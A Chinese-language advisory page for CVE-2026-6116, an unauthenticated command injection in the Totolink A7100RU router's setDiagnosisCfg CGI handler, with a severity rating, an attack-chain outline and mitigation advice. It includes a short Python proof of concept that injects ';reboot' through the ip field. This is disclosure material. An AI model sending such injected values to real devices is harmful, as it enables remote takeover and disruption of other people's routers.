IPBUF安全漏洞报告
English
CVE-2026-6116 CVSS 9.8 严重

CVE-2026-6116 Totolink A7100RU OS命令注入漏洞

披露日期: 2026-04-12

漏洞信息

漏洞编号
CVE-2026-6116
漏洞类型
OS命令注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Totolink A7100RU

相关标签

OS Command InjectionRCETotolinkIoTRouterCVE-2026-6116

漏洞概述

Totolink A7100RU路由器在特定版本中存在严重的OS命令注入漏洞。该漏洞源于/cgi-bin/cstecgi.cgi中setDiagnosisCfg函数对ip参数缺乏有效过滤。未经身份验证的攻击者可利用此漏洞通过网络发送特制数据包,在目标系统上执行任意操作系统命令,从而导致设备被完全接管。

技术细节

漏洞位于Totolink A7100RU的Web管理接口组件CGI Handler中。具体受影响文件为/cgi-bin/cstecgi.cgi,功能函数为setDiagnosisCfg。在处理用户输入的ip参数时,程序未对特殊字符进行过滤或转义,直接将其拼接到系统命令中执行。由于该接口未设置认证门槛(PR:N),远程攻击者可通过向目标端口发送包含恶意Shell命令的HTTP POST请求,触发命令注入。成功利用后,攻击者可获得Root权限,读取敏感信息、篡改配置或破坏服务。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描网络,识别暴露的Totolink A7100RU设备及其Web管理接口。
STEP 2
2. 构造攻击载荷
利用漏洞细节,构造包含恶意命令(如反弹Shell或重启命令)的JSON数据包,重点操纵ip参数。
STEP 3
3. 发送恶意请求
向目标设备的/cgi-bin/cstecgi.cgi接口发送POST请求,无需认证即可触发漏洞。
STEP 4
4. 执行命令
服务器端CGI程序处理请求时,将ip参数直接拼接到系统命令中执行,导致恶意代码运行。
STEP 5
5. 建立控制
攻击者获得设备Root权限,可进一步植入后门、窃取数据或发起横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests target_url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" headers = {"Content-Type": "application/json"} # Construct payload to inject command payload = { "function": "setDiagnosisCfg", "ip": ";reboot" # Injecting command separator } try: response = requests.post(target_url, json=payload, headers=headers, timeout=5) print(f"Status: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"Error: {e}")

影响范围

Totolink A7100RU 7.4cu.2313_b20191024

防御指南

临时缓解措施
在官方补丁发布前,建议通过网络访问控制列表(ACL)禁止外部IP访问路由器的Web管理端口,仅允许可信的内网IP进行管理操作,以阻断远程无认证攻击路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表